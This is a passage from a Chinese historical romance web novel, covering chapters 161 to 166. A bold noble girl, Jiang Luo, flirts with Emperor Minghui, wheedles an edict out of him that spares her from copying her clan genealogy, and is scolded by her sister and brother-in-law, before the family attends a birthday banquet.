郑女官扑哧一笑,“怎么,难道您还怕她打陛下不成?”
赵太后被逗笑了,摆摆手道:“我可不管这个。”
她担心的是,姜珞和梁皇后完全不是一个风格,她儿子会动心吗?
不得不说,姐弟心有灵犀。
另一边,赵咎也问出了这个问题。
他摸了摸下巴,“就你上次的壮举,估计都把陛下吓得不轻。他还能看上你?”
嚯!
姜珞一听,直接瞪圆了眼睛,“姐夫,你看不起谁呢?我这么聪明漂亮,配他都绰绰有余了,他还能拒绝得了一点?”
“我告诉你,绝对不可能!”
她自信满满。
赵咎:“……”
他忍不住扶额,“低声些,难道光彩吗?”
姜珞哼出一声,“有什么不光彩的,我志向远大,你该高兴才是。要不然我嫁个破落户、臭屠夫,看你们急不急!”
赵咎:“……你再大声些,把阿池引来,到时候给你多加二十遍族谱,我看谁先急。”
提到姜璎,姜珞立马老实,跟拔了**的公鸡似的,再也耍不了半点威风,她缩了缩脖子,蔫巴了。
“你就不能帮我求求情嘛…”
这里都抄不完了,再往上加,真得抄到明年去啊!
姜珞趴在桌子上,哼哼唧唧,“我要进宫,我要进宫,我要进宫。”
跟念咒似的。
赵咎没好气给了她后脑勺一下,“进宫干嘛,快写!写不完不许吃饭!”
原本是夫妻俩一起盯着姜珞抄族谱的。
但姜璎刚被王氏叫走了。
赵咎只能承担起姐夫的责任,只要姜珞偷懒,就给她一头皮。
保管清醒效果立竿见影。
姜珞捂着脑袋,“我去见
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高忱,我要勾引他!让他明天就立我为皇后!”
赵咎差点一口茶喷出来,下意识学了邢如风的口头禅,“你是不是疯了想屁吃呢?”
姜珞哼道:“我才没疯,我认真的!姨母还让我跟你学怎么勾引人呢。”
赵咎:“???”
姜珞捧着脸道:“我观察过了,狐媚子也是需要天分的。我不像姐夫你天赋异禀,无师自通,我只有一张脸,和一个聪明的脑袋。”
赵咎:“……”
她这到底是夸他还是损他?
还聪明的脑袋。
认真的吗?
姜珞一拍书案,“我决定了,我现在就要进宫,勾……关心陛下!”
赵咎真没话了。
姜珞用笔戳戳赵咎的袖子,“姐夫,你带我去吧,我不想再抄族谱了。”
呜,她都快把天水姜氏的祖宗倒背如流了!
“九郎。”外头响起香薷的声音,略有些着急,“宫里来人了。”
“是陛下?”赵咎问。
“噢,他是来接我进宫做新皇后的吗?”姜珞语气惊喜。
“……”
香薷露出了尴尬而不失礼貌的微笑,这俩真是一个比一个自作多情。
“太后娘娘口谕,召二姑娘入宫。”
赵咎很快反应过来,估计是郑女官起到作用了。
他二话不说,立刻把姜珞打包送进宫。
这个烦人精,还是留给明惠帝消受吧!
明惠帝消沉了整整一天,才勉强打起精神继续理事,忙起来就没心思去想其他了。
不知过了多久,容已提醒,“陛下,该用午膳了。太后娘娘那边派人过来,想请您一同过去用膳。”
明惠帝不想去。
又怕母亲担心自己,沉默许久,起身道:“走吧。”
他走到长乐宫,远远就听见里头传出铃音般的清脆笑声。
有些耳熟。
但又想不起是谁。
直到一抹缃色背影映入眼帘,混沌的脑子终于有了印象。
那人似有所觉,偏头望来。
看见他的刹那,像是旧友重逢,圆润的猫眼流露一丝惊喜,笑容明媚鲜活。
“呀!你来啦。”
第162章 顺**
这语气太过熟稔,欢喜但不殷勤,给人一种恰到好处,又理所当然的感觉。
姜珞歪了歪脑袋,“你怎么才来呀?我都等你好久了!”
防不胜防的直球,把明惠帝打得一脸懵圈,“……等、等我?”
姜珞微微撅嘴,似乎有些不高兴,明惠帝下意识以为自己做错事,连忙道歉,“对不起,我不知道你在等我……”
等等等等。
他为什么要道歉?
明惠帝反应过来,正要说话,就见姜珞摆了摆手道:“行吧我原谅你了,快坐吧。”
她表现得实在太过自然。
不像面对皇帝,倒像是面对自家小厮……
明惠帝有种被使唤了的错觉,尤其是落座以后,姜珞上下打量着他。
澄澈的目光宛如日照下的泉水,波光粼粼,绚丽夺目。
她坦荡自然,不带半点企图,但明惠帝却跟被扒光了衣服似的,俊脸泛起薄红。
赵太后看得津津有味。
还真像阿郑说的那样,看着十分登对。
姜珞扫了几眼,就当完成任务了,她理直气壮道:“你干嘛生气?是姐夫千叮咛万嘱咐,让我看看你,到底是好是坏,有没有寻死觅活。”
明惠帝没想到阿劫这么关心他,虽然话不中听,但多少也是爱啊。他心中感动不已,又忍不住辩解:“我没生气…”
姜珞不理解,“你没生气脸红什么?”
“……”
一句话令在场鸦雀无声。
郑女官笑着打圆场,“兴许是陛下今日穿得多,走过来的时候热着了。”
赵太后莞尔一笑,“好了,先用膳吧。”
哦吃饭!
在姜珞这里,口腹之欲显然比男人要重要的多,她眼睛一下子亮了起来,让赵太后不禁侧目。
“怎么,你姐姐姐夫饿着你了?”
她语气和善,姜珞想了想,反正都要是一家人,就实话实说了:“我犯错,姐姐罚我抄族谱,姐夫盯着我,不抄完不许吃饭。”
赵太后不可思议,“你姐姐这么严厉?”
膳食从食盒里端上来,还冒着热气。
姜珞的注意力被转移,目光盯着碟子里的黄澄澄的蟹螯,口水都快挂下来了,还不忘替姜璎说话。
“我姐姐不严厉的!她脾气可好了,心肠又软,如果不是因为我闯祸,我姐姐才舍不得罚我呢!”
明惠帝想起那日姜珞看见姜璎,就跟老鼠见着猫似的,没忍住笑了。
“你又闯什么祸了?”他随口问。
明惠帝表示他绝对没有落井下石、幸灾乐祸的意思,结果话刚说完,姜珞就垮了脸,气呼呼地瞪着他。
明惠帝一头雾水。
姜珞道:“我打了皇后娘娘的表妹,姐姐罚我抄族谱,可我明明都已经赔礼道歉了!”
明惠帝剥开蟹螯,用工具把肉和红膏一点点剔出。
父亲在世时,他们一家三口用饭,基本不用宫人伺候。父亲拆了蟹肉,通常会先给母亲,然后再给他。
如今也是一样。
他把拆了满满一碟子的蟹肉放在赵太后面前,又顺手拆起下一只,说道:“对啊,你不是已经赔礼道歉了,姜璎怎么还要罚你?”
“还不是陛下的问题!”姜珞生气道。
“我怎么了?”明惠帝冤枉得不行,“我可没让姜璎罚你,而且我当时也说了,让她不要怪你…”
姜珞气鼓鼓道:“你光口头说有什么用?得下旨才行!一会儿用了膳,你要把欠我的那道诏书补上,让姐姐姐夫不能再罚我抄族谱。”
明惠帝:“……”
不是,他怎么就欠她了?
姜珞理直气壮,“就是你说话不管用,才害我白白抄了那么多遍族谱!”
她没找他算账都不错了!
说完想起来赵太后还坐在这,姜珞有点心虚,瞅了一眼人家亲娘。
“太后娘娘,我没说错吧?”
“没说错,没说错。”赵太后笑得合不拢嘴。
姜珞弯了弯眸,就像一只被撸顺**的小猫,神气得不行。
明惠帝把剥好的一碟蟹肉推到她面前,无奈笑了,“吃吧,吃完了你跟我去拿诏书。”
赵太后有些惊奇,跟郑女官对视一眼。
赵太后:我儿子对她好像真的有些不一般!
郑女官:是吧是吧。
“给我剥的?”姜珞眨了下眼,甜甜道,“那我吃了哦,谢谢
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陛下。”
好吃!
爱吃!
多吃!
姜珞吃得津津有味,仪态依旧完美。
她决定了,等她做了皇后,一定让高忱天天给她拆蟹!
明惠帝忽然后背凉飕飕。
他净手动箸,正式进食以后,便不再多话。
姜珞一口气吃了两碗饭。
把赵太后给看呆了。
贵族女子进食讲究五分饱,通常只食半碗饭,姜珞的饭量都快赶上明惠帝了。
“要不再吃一碗?”明惠帝小心翼翼道,看姜珞的眼神敬畏中掺杂一丝怜爱,她不会饿了好几天吧?
姜珞也不客气,“那你再帮我拆一只蟹螯。”
明惠帝听话照做。
吃饱喝足后,姜珞跟着明惠帝去议政殿。
赵太后看着他们一前一后的身影,见儿子特意放慢了脚步等姜珞,忍不住道:“不应该啊,他不是喜欢梁氏喜欢得要死要活吗?宫里其他美人,也没见他多看一眼,怎么这次……”
郑女官笑道:“兴许是缘分吧。”
姜珞跟在明惠帝身后,慢悠悠走着,“陛下,你还好吧?真的不会寻短见哦?”
尾音上扬,似调笑一般。
明惠帝没好气道,“你再笑,信不信我不给你写诏书了。”
姜珞连忙道:“开玩笑啊!我是在关心你呢。”
明惠帝眉眼微垂,轻轻“嗯”了一声。
“你让阿劫放心,我不会寻短见的。”
“不会就好,我可不想年纪轻轻就守寡。”姜珞嘟囔道。
“什么?”明惠帝没听清,想回头,被姜珞推了一下,“哎呀,快走快走!不要耽搁!”
回到议政殿,姜珞催着明惠帝写诏书,明惠帝用笔端轻轻敲了一下她脑袋,“你还使唤上我了,磨墨。”
“不要。”
姜珞一口拒绝。
好吧。明惠帝只能亲自磨墨,笔尖吸饱墨汁,落笔却是犹豫不决。
直接吩咐姜璎不要再罚姜珞抄族谱?
还是委婉一点?
纠结了一会儿,才开始动笔。
写完已经是一刻钟之后的事了,“喏,你看看——”他偏头一看,姜珞蜷缩在软垫上,已经睡着了。
第163章 动摇
姜珞太困了,她昨天抄族谱到半夜,将近丑时才睡。脑袋一碰到枕头,整个人就没了知觉,卯时一到又被白芨喊起来。
“姑娘、姑娘,快醒醒,该抄族谱了。”
跟索命似的。
虽然还未入冬,但议政殿已经烧起了火墙,软垫四四方方,用得是最柔软轻盈的山羊绒,香炉缓缓升起雾丝般的细烟。
姜珞跪坐着、跪坐着,就迷迷糊糊倒了下去。
如同在老家小佛堂的每一次罚跪。
她慢慢蜷缩成了一团。
太困了。
真的太困了。
姜珞能感觉到有东西盖在自己身上,大概是衣服,又或者是毯子?她急得不行,想醒过来,姐姐还在家等着她。
别睡了!你是猪吗?!
然而眼皮子沉重得厉害,怎么也睁不开。
姜珞睡得四肢发麻,动弹不得,皮肤里面仿佛有一万只蚂蚁在爬。
“扶、扶一下…”她痛苦面具。
明惠帝从小山高的奏折里抬起头,无奈看她一眼,轻轻扶着她胳膊,“是不是压坏了?”
姜珞又伤心又难过,“都怪你写的这么慢,拖拖拉拉,让我等睡着了。”
明惠帝:“……”
这要是六月,外头指定鹅毛大雪。
因为他太冤了!
姜珞扶着书案,面色痛苦,缓了好一会儿才算双腿恢复正常。
明惠帝示意她看奏折最上头,“喏,写好了,你看看吧。”
姜珞翻来覆去地看,高兴道:“姐姐要是再让我抄族谱,那就是抗旨!”
明惠帝笑了,“是是是。她要是抗旨,你回头再告诉我,我罚她。”
姜珞一听立马不乐意了,刚想说话,容已走进来道:“陛下,皇后娘娘求见。”
梁皇后小产亏了身子,又闻梁父被下了大狱,至于她的几个弟弟,不论嫡庶,只要是手上沾染了人命的,全都依照律法处置。
该流放的流放,该**的**。
梁家的女儿也被纷纷取消亲事,至于已经出嫁了的,但凡嚣张跋扈一些,都一纸休书遣返回娘家,剩下一两个性格本分的庶女虽然未遭夫家厌弃,但日子也好不到哪里去。
梁皇后身为梁家的一份子,眼看家里这等情形,心急如焚,却又无可奈何。
明惠帝不肯见她。
任凭她是跪,还是磕头,都没有用。
这回也是一样。
“送皇后回去。”明惠帝淡淡道。
宫人好声好气搀扶起梁皇后,她却不知道哪来的力气,挣开了宫人的手,跌跌撞撞闯进来。
四目相对。
姜珞微挑了下眉,手里还握着那卷诏书,她冲梁皇后甜甜一笑,屈膝行礼。
“天水姜氏姜珞,见过皇后娘娘。”
她仪态端庄柔美,低头如天鹅折颈,恰好露出一截令人心动的白皙。
青葱水嫩的年纪,一颦一笑皆美好。
梁皇后愣在原地,好半晌,才看向明惠帝。
她眼里是明晃晃的讥讽,“这就是陛下不肯见我的理由?”
她没喊起,姜珞便一直屈膝。
明惠帝面无表情,“我不想见你,与她无关。姜珞,你拿了诏书就回去吧。”
诏书?
什么诏书?
姜珞才要起身,梁皇后厉声喝道:“怎么,得了陛下的宠幸,就可以不把本宫放在眼里了吗?妃见皇后,难道不该行跪拜大礼?!”
姜珞眨了下眼,“皇后娘娘,你是不是误会了?这个诏书——”
“闭嘴!”梁皇后厌恶道,“本宫和陛下说话,焉有你插嘴的余地!”
“你闹够了没有?!”明惠帝胸口微微起伏,他看也不看姜珞,死死地盯着梁皇后,“你也是女子,岂能不知名声的重要?张口便是诋毁,朕什么时候说过,要纳她为妃?”
“来人!把皇后带下去,好好静养。”
一声令下,最后四个字,几乎是一字一顿,用尽了所有气力。
宫人们再也不敢疏忽,以一个不容反抗但又不至于伤人的力度,把梁皇后搀扶下去。
“高忱!你说过这辈子爱我!你不会对不起我的!”梁皇后哭着道。
她就算一时糊涂,流掉了孩子。
那也是迫不得已!
她没想到这个孩子会如此脆弱,打两下就没了。
她也没想到,高忱说翻脸就翻脸。他们几年的夫妻情分,难道还不如一个尚未出生的孩子来得重要吗?
哭声逐渐远去。
明惠帝卸掉了纸糊的盔甲,整个人颓然下来。
姜珞走到他面前。
“哭了吗?”她问,声音甜嫩甜嫩,透露着一股不谙世事的残忍。
“我被当成你的妾都没哭。”
明惠帝无力回应,随意点了下头,“回去吧。”
姜珞没走,她用卷起的诏书挑起明惠帝的下巴,这个动作很不礼貌,甚至带有一点羞辱意味,换做旁人,
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明惠帝恐怕早就生气了。
但姜珞的猫眼太漂亮了,她歪了歪脑袋,神情肖似猫咪,有种故意捣乱的天真恶劣。
“啊,眼睛红了。”她嘻嘻笑,“如果我当了皇后,你还这样为别的女人哭,我就打死你。”
明惠帝:“???”
被迫中断伤感。
他拨开诏书,训斥道:“你一个小姑娘家家的,胡说八道什么呢?”
姜珞趴在书案,一手托腮,一手用诏书拍他脸。
“没胡说啊,我要做皇后,你快点废了她。”
她理直气壮。
把废后说得跟喝水吃饭一样简单。
明惠帝迷惑地看着她,没有第一时间训斥姜珞,而是伸出手,摸了摸她的额头。
“你发烧了。”温度不烫,但他很肯定就是发烧。
不是烧坏脑子,怎么可能说出这种话!
“有毛病吧你!”姜珞打开他的手,啪一下毫不客气,明惠帝手背直接红了一片。
“让我做皇后!”她命令道。
明惠帝开始喊传太医。
天呐她不会中邪了吧!
“我没有开玩笑,我做皇后肯定比她做皇后要好。”
姜珞认认真真地掰手指,“你看啊,天水姜氏在士族之中地位一目了然,我阿父又是当代名士,不比梁家强吗?我又这么漂亮,聪明,温柔,可爱,随便一点拎出来都远胜皇后。”
明惠帝发现她是来真的。
脸上的表情一下子凝固住了。
姜珞夸起自己来简直灵感爆棚、滔滔不绝,她把明惠帝挤开,大手一挥,洋洋洒洒写下无数优点。
越夸越兴奋。
她都快爱上自己了!
“你真的不考虑喜欢一下我吗?”姜珞眉眼弯弯,“我要是做了皇后,会对你很好很好的。”
说实话。
明惠帝真的动摇了一瞬。
很好很好,这四个字,扎进了心窝,嫩芽破土而出。
后来的某一日,明惠帝回忆起来,忍不住控诉妻子,把人摇醒,“你以前说过的,会对我很好很好,为什么骗到手就翻脸不认人?!”
姜皇后有起床气,把皇帝狂揍一顿,然后理直气壮说:“得到以后不珍惜,是人之本性,我当然也不例外啦!”
“……”
————
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第164章 进水
晌午之后的日头暖意融融,透过窗牖,在斜对面的书架落下一片斑驳光影。
隔断之后的软榻,被衾悄然滑落,眼看就要触碰地面,又被一只筋脉明显、白皙有力的手拽了回来。
姜璎似有所觉,揉了揉眼要起身,“什么时辰了…?”
身后贴上来一具热烘烘的身体,赵咎抓住她的手,塞回被衾,声音懒洋洋。
“刚睡醒容易着凉,你再躺会儿,我让人拿炭盆进来。”
“别…”姜璎哪里好意思让仆婢进来,她看了眼更漏,“未时了,浓浓怎么还没回来,不是说去去就回的么?”
“唔…好困。”
赵咎假装听不见,将脸埋在姜璎脖窝,说话时热气全都喷洒肌肤。
脖颈是姜璎最敏感的部位,她忍不住起了一片鸡皮疙瘩,推了推他脑袋。
没推动。
赵咎闷哼一声,像是为了表达自己的不满,他报复性地轻轻咬了一下她耳垂。
不疼,但存在感十足。
姜璎塌了腰,正面红耳赤时,外头响起香薷的声音。
“二姑娘,女君和九郎在里头午憩。”
“哦,那我在外头等吧!”
姜珞还是很有分寸的,要是只有姐姐一个人在里头,她就兴冲冲进去了,但赵咎也在,她嫌弃地皱了皱鼻子。
**就开始勾引姐姐!
这次真冤枉赵咎了。
他什么都没干,单纯抱着睡了个午觉,还被姜珞搅和了。
“浓浓回来了,快起来。”姜璎推他,见不肯松手,只好亲了亲他嘴角,哄道:“你也不想有损英明神武的形象对不对?”
赵咎哼笑一声,“形象而已,我不在意。”
他手指轻轻摩挲了一下她的腰窝,姜璎差点惊叫一声,“你、你干什么呀!”
赵咎脸不红心不跳,“不好意思,手滑。”
姜璎顶着大红脸,忿忿地撞了一下他胸口,稍微整理了一下衣裙,披上外衫,走出去。
“浓浓。”
“姐姐!”姜珞眼眸亮晶晶,一把抱住姜璎手臂,蹭着她肩头,“姐姐,你怎么不多睡会儿?你这几天盯着我抄族谱辛苦了。”
赵咎倚在门上,“你怎么不说我也辛苦了。”
姜珞摆了摆手,“那不重要!”
她迫不及待吩咐下人,“把东西拿来。”
白芨手里捧着一个四四方方的锦盒,尺寸大小,给人一种分外熟悉的感觉。
赵咎看到,脸上露出些许意外之色。
姜璎眼皮一跳,神情严肃起来,“这是什么?太后娘娘的赏赐?”
姜珞眉飞色舞:“姐姐,你猜。猜对有惊喜哦。”
姜璎拧着眉看她一眼,姜珞立马老实了,把锦盒打开,一卷诏书静静躺在里头。
赵咎挑了挑眉,“这东西有点眼熟,阿池,我们是不是也有一份?”
是有一份。
现在还供在蓼莪院。
赵咎亲自去求来的赐婚诏书。
姜璎愣住,指着锦盒里的东西,不可置信道:“谁给你的?陛下,还是太后娘娘?”
姜珞挺了挺胸,一脸骄傲道:“当然是陛下!这可是我应得的!”
赵咎颇给面子地抚掌,“厉害。”
有如此手段,分明青出于蓝而胜于蓝。
他决定主动退位,把狐狸精的名头让给姜珞。
姜璎差点眼前一黑,她抓住姜珞的手问,“是你主动要求,还是陛下的意思?”
又不死心,“诏书还没下吧?是不是还有回转的余地?”
姜珞怎么可能承认自己逼讨来的,嘻嘻笑道:“是陛下主动给的啦,他可心疼我呢。”
赵咎很捧场,“真是太厉害了。”
姜璎道:“哎呀,赵咎,你不要捣乱了。”
姜珞连忙道:“姐姐,这可是陛下亲自写的诏书,还盖了私印呢,没有回转余地!你们要是不听话,那可就是抗旨不尊!陛下说了,抗旨不尊,他就砍姐夫脑袋!”
姜璎蓦地睁圆双眼。
这么严重?
明惠帝到底给姜珞赐了哪家郎君?
难不成,是梁皇后的娘家人?
“赵咎——”姜璎回头。
赵咎忙安抚道,“这也是好事啊。”
他取出诏书,心里奇怪怎么宫人没有跟来,但很快自己给出合理解释。
梁皇后尚未被废,这封后的诏书自然还不能公之于众。
也正常。
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长姐如母,赵咎身为姐夫,也算姜珞半个爹了,他端着架子语重心长,“浓浓,陛下既然看重你,那你就不能辜负这份心意,知道了——”
最后一个“吗”字还没说出口。
赵咎看清楚了诏书上的字。
到嘴边的话硬生生拐了个弯,他卷起诏书就要抽她一顿。
“姜珞!我看你是不想活了!”
“诶!诶!你抗旨不尊!”
姜珞吓得抱头四处逃窜,还不忘大叫,“我要告御状!姐姐救我!”
姜璎懵懵的,事情转变太快,她还没反应过来。
“怎么了呀?发生什么…”
“你自己看!”
诏书塞到姜璎手里。
上头清清楚楚、明明白白写了,不许姜璎以任何理由惩罚姜珞抄族谱。
末尾盖了明惠帝的私印。
很是郑重其事的样子。
姜璎眨了下眼,脑子总算恢复正常运转。
姜珞躲到她身后,可怜巴巴道:“姐姐,你也不想姐夫被**吧?咱们是良民,可不能**啊。”
姜璎摸了摸她脑袋,指着诏书上的字,“陛下只说不许我罚你,没说赵咎不能发你。”
什么?
姜珞如遭雷劈。
她夺过诏书,看了好几遍,才发现有漏洞!当下哇哇大叫。
“我要进宫,我要见陛下!”
高忱,你这个王八蛋,速速受死!!!
姜璎把她从身后揪出来,交给赵咎,严肃道:“不用手下留情。”
赵咎挑了下眉,阴恻恻地看着姜珞。
“来人,去找根竹条来。”
“啊——!”
姜珞嗷嗷哭,把一切都记在了明惠帝头上!
姨母说得对,高家没有一个好人…
她哭得一把鼻涕一把泪,姜璎眼不见为净,去跟郑氏一同准备王老夫人的寿礼。
赵咎扔了块帕子给她,脸色依旧不好看。
“我还当是赐婚诏书,你进宫就办了这件事?今晚上给我接着抄族谱!抄完天水姜氏的,抄颍川赵氏!”
“啊?”
姜珞哭哭脸,抽抽嗒嗒道:“我说了让我做皇后…他不听,你要怪,就怪高忱…他脑子进水了。”
第165章 袒护
听完姜珞的话,赵咎有种狂掐人中的冲动。
“谁让你这么直接了?”
姜珞委屈地瘪了瘪嘴,“他看着好笨,一点也不聪明,我要是不直接一点,他听不懂人话怎么办。”
赵咎冷嘲热讽,“你还怪贴心的。”
姜珞没听出来,“那当然!”她骄傲十足。
赵咎:“……”
他真的很想问一句,萧止柔到底怎么想的,竟然派姜珞去勾引明惠帝?
是认真的吗?
姜珞也不傻,立马看出了赵咎的眼神,忿忿道:“姐夫,你是不是瞧不起我?”
赵咎呵了一声,掸了掸衣袍上不存在的灰,反问道:
“不然呢?出师不利,还想我夸你有勇气?”
他的嘴一如既往刻薄,“我看你的脑子真是被驴踢了。”
姜珞:“……”可恶!
姨母说了,成大事者不拘小节。
她要忍气吞声,忍辱负重!
等做了皇后,再给姐姐安排十个八个美男,气死赵咎!
“九郎!”
外头响起归南的声音。
宫里又来人了。
只不过这一次传召的是赵咎。
赵咎眼皮一跳,有种不详的预感,看向姜珞,“你老实说,你还干了什么?”
姜珞眨巴眨巴眼睛,“我也没干什么啊。”顶多就是用诏书拍了拍高忱的脸。
赵咎:“???”
你是他老婆吗你就拍他!
姜珞不仅不认错,反而理直气壮,“姐夫,他要因为这点小事,把你叫进宫骂一顿,那你以后就别和他一块玩儿了!”
赵咎真是气笑了。
“你等着,等我回来收拾你。”
“干嘛啊,我可是为你着想!”姜珞忿忿不平,果然外甥像舅,没一个好人!
想了想,怕晚上又吃竹笋炒肉,姜珞准备先回陆家避避风头。
她随便收拾了一下东西,派人给姜璎留了个口信:“告诉姐姐,我先回去姨母膝下尽孝,过些日子再来!”
逃的比兔子还快。
赵咎还不知道这糟心孩子跑了。
他一进宫,就听见明惠帝语气很委婉地问:“阿劫,你那妻妹…呃,最近有没有做出一些异于常人的举动?”
赵咎沉吟片刻,“你想说她脑子进水了,对吧?”
明惠帝连忙摆手,“不至于、不至于。”
话虽如此,他在殿内不停来回踱步,神情满是苦恼,还时不时看赵咎一眼,欲言又止。
赵咎只好主动开口:“是不是她说了什么大逆不道的话?陛下放心,我回去一定好好收拾她。”
“别别别!”
“嗯?”
明惠帝脸颊泛红,有点不好意思,低声说:“她也没干什么,就是、就是说了些傻话。其实也能理解,毕竟她年纪尚轻……”
一箩筐的废话。
赵咎听了半天,忍不住打断:“陛下,你到底想说什么?”
明惠帝噎了一下,“我就是好奇,她怎么会说出这种话?上次进宫不是还好好的吗?不对!”
他忽然想起什么,喃喃自语道:“她上次就说让我喜欢她。”
说完倒吸一口冷气。
被紧急传唤来的赵咎:“……”
我真没时间陪你闹了。
不过,他微微挑眉,原本以为姜珞出师不利,现在看来,好像并非如此?
赵咎试探性道:“姜珞胆大包天,冒犯陛下,我回去一定严加看管,狠狠责罚……”
明惠帝急道:“诶,都说了别罚她!”
赵咎面露诧异,语重心长道:“湛奴,你这个心软的性子真要好好改改了,不然以后得吃大亏。我知道,那封诏书肯定是姜珞死缠烂打讨来的,你放心,我会……”
话没说完。
就听见明惠帝道:“不是!诶!阿劫你现在怎么变成这样了?她不就说了几句胡话吗,不用责罚!真的!诏书是我自愿写的,你和姜璎别让她抄族谱了!”
赵咎心里“啧”了一声。
明惠帝似乎也意识到自己说太多了,神情略有些不自然,“谁让你们有前科…我上回都说了,让姜璎别怪她,你们还罚她抄族谱。你不知道,她今日困得直接在我这睡着——”
了。
最后一个字卡在喉咙。
赵咎盯着他,眼神意味深长,“你说话归说话,脸红什么?”
他脸
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红了吗?
明惠帝下意识摸了一下脸,反应过来后,又连忙将手背在身后,故作镇定道:
“这不是殿内烧着火墙,有点热吗。”
“哦。”赵咎压着嘴角道,“湛奴,你知不知道你现在的样子像什么?”
“什、什么?”明惠帝紧张得结巴了一下。
“你说呢?”赵咎似笑非笑看着他,“此地无银三百两。”
明惠帝脸腾地就红了,也不知道心里慌乱个什么,反正就是一整个语无伦次。
“我不是,我没有,你别胡说。这本来就是一件很小很小的事情,谁让你和姜璎太过苛刻,又是不给睡觉,又是不让吃饭…反正我诏书写了,你们再胡来,就是抗旨不尊!”
赵咎皱了皱眉,“那怎么办?我来之前还打了她一顿。”
明惠帝愣了一下,脑海不由自主浮现姜珞掉眼泪的模样,他生气道:“你完了,要被**了!”
赵咎:“……”
不是吧。
你俩才见过几次啊。
这就袒护上了?
“开玩笑的,我怎么可能打她呢。”赵咎立马改口,见明惠帝面色稍稍放松,才慢悠悠道,“不过她这脾气实在太差了,我听说她还用诏书拍你脸。”
“湛奴,你可千万别看在我的面子上宽纵她。”
“我没看在你面子上宽纵她。”明惠帝脱口而出,说完干巴巴笑了一下,“她还是个孩子呢,童言无忌、童言无忌。”
赵咎也笑,“这样啊。”
明惠帝道:“是这样。”
赵咎唇角笑意愈浓,“我还以为你喜欢姜珞呢。”
此言一出,殿内瞬间安静下来。
明惠帝就像是一只被烫熟了的虾,闷红闷红,好半天才道:“不要胡说,有损人家清誉。”
赵咎颇有些遗憾道:“也是。你毕竟都有皇后了,就算浓浓喜欢你,阿池也不会让她入宫为妾的。”
明惠帝怔住。
“她…喜欢我?”
“嗯,没什么事儿,我先回去了。”赵咎避开话题,他看出来明惠帝对姜珞不是没有好感,只是缺少一个契机。
让他想想,接下来该怎么做。
第166章 寿宴
到家正好赶上晚膳。
赵咎回来没看见姜珞,还有些惊讶。这个小蠢蛋今日这么自觉,竟然没来打扰他们夫妻二人世界?
“浓浓留了口信,说要在姨母膝下尽孝,过几日再来。”姜璎道。
说这话时,她微微蹙眉,想到姜珞下午哭得一把鼻涕一把泪,就忍不住担心起来。
她本就是个不记仇的性子,气过之后,又习惯性反思自己,是不是在对待姜珞的问题上太过严厉?
“下次还是不罚她了。”
“嗯?”
“你下手没轻没重的。”姜璎叹了口气,准备一会儿让人让人送点伤药过去。
“……”
赵咎气笑了,他还没到老年痴呆的地步。
不就抽了姜珞手心三下,这叫没轻没重?
姜璎认真道:“下次不要用竹条,那个**太疼了。”她以为姜珞是被打怕了,所以才逃回陆家。
赵咎饭也不吃了,就这么好整以暇看着她,只字不提自己威胁人,反而把姜珞卖了个干干净净。
“阿池,你知道姜珞都做了什么吗?用诏书拍陛下脸还不够,又大放厥词说她要做皇后。”
“吓得陛下紧急召我入宫,言辞委婉,打听姜珞是不是抽风了。”
姜璎微微张嘴,表情从震惊到呆滞,一副被雷劈傻了的模样。
连话都说不出来了。
赵咎一边儿剥虾,一边儿道:“你猜她为什么跑那么快?还不是怕我回来算账。”
虾仁喂到姜璎嘴里。
她被迫咀嚼,咽下之后才找回自己的声音,胆战心惊问:
“陛、陛下没生气吧?”
“没生气。我说姜珞脑子不好使,他还让我们别罚她了。”
脑子不好使。
姜璎默默闭眼,“你说的对。”
这么一看,姜珞还真得跑。她要不跑,连姜璎都要揍她一顿。
赵咎偷偷笑,把剥好的虾仁拨到她碗里。
“多吃点,你这几日辛苦了。”
王老夫人寿宴在即,王氏因身子重不好太过操劳,泰半事宜都交到郑氏手里。
姜璎身为新妇,又早就跟王氏她们相处出感情,自然要多帮衬些。
用了饭,夫妻俩在院子里散步消食。
赵咎似不经意提起,算是给姜璎打个预防针,“我今日进宫,还以为陛下会不高兴,没曾想他对姜珞倒是宽容。”
姜璎没听出来,由衷道:“陛下真乃仁德之君,心胸宽广,非常人所能及。”
换别人,姜珞早就死好几回了。
赵咎:“……”
他想说也不单纯是明惠帝人好,有没有一种可能,他对姜珞不一般?
话到嘴边,赵咎忽然警醒。
要是被姜璎发现牵连到自己,那他岂不是偷鸡不成反蚀把米?
不成不成!
“怎么了?”姜璎摸了摸他紧皱的眉头,以为他在替姜珞担心,“也不知道太后娘娘今日传召浓浓,是为了什么,以后还是少让她进宫吧。”
赵咎略有些心虚,忙岔开话题。
“天色不早了,我们回去休息吧。”
“嗯。”
洗漱沐浴后,姜璎拿了一卷书,凤眸微微弯起,流露几分期待。
“今日读《管子》,好不好?”
没有房事的夜晚,赵咎都会给姜璎念睡前故事。
他希望姜璎的脑子里装的是各类古籍,而非只有奉献自己的孝经。
上次读完《庄子》,姜璎颇有感悟,偶尔闲聊还会蹦出“南华经里说”这样的开头,看得出来,她对儒家思想颇为推崇。
《管子》则与之相反,讲的是治国治家平天下。
如果是平时,赵咎肯定非常乐意陪妻子念书。
但现在嘛。
他把书从姜璎手里抽走,在她期待的目光中,露出一个微笑,“不要。我今日有正事。”
什么正事?
姜璎刚想问,就被覆下来的身影笼罩。
唇齿撬开的同时,答案也不言而喻。
“等一下……”姜璎还想试图挣扎。
“不等。”赵咎无情**,“我要让你见识一下,我下手是不是真的没轻没重。”
“……”
泪水溢出,香汗淋漓。
体型差决定了一切。
姜璎被他抱在怀里,嗷呜一口咬了下去,“你…你这个小心眼的人。”
赵咎肩头多出一个整齐牙印。
他不以为耻、反以为荣。
“心眼小的人往往还记仇。”
“阿池,你确定不说点好听的话来求饶?”
“晚了,我可是不会放过你的。”
姜璎不知道什么是好听的话。
她绞尽脑汁,最后憋出一句:“……夫君,求求你放过我。”
赵咎笑了。
“嗯,好说。”
一觉直天明,险些日上三竿。
姜璎差点误了跟郑氏约好的时辰,给了赵咎一记枕头,就匆匆忙忙更衣。
王老夫人的六十大寿很快到了。
当日宾客盈门,好不热闹。
就连赵太后和明惠帝也先后赐下贺礼。
皇恩浩荡,令王家上下与有荣焉。
姜璎早早得了萧止柔的口信,便没有跟王氏她们一道,一下车,就被等候许久的仆婢恭恭敬敬领到王老夫人的院里。
庭院中的桂花开得正盛,馥郁芬芳。
正堂宽敞明亮,一入内,便见两侧坐着几位长辈,萧止柔也在其中。
姜珞站在她身后,一身蔷薇色的曲裾配素面石榴裙,颔首低眉,宛如仕女图中走出来的贵女,言行举止被端庄二字裁量得相当完美。
可饶是如此,她依旧明艳得不可方物。
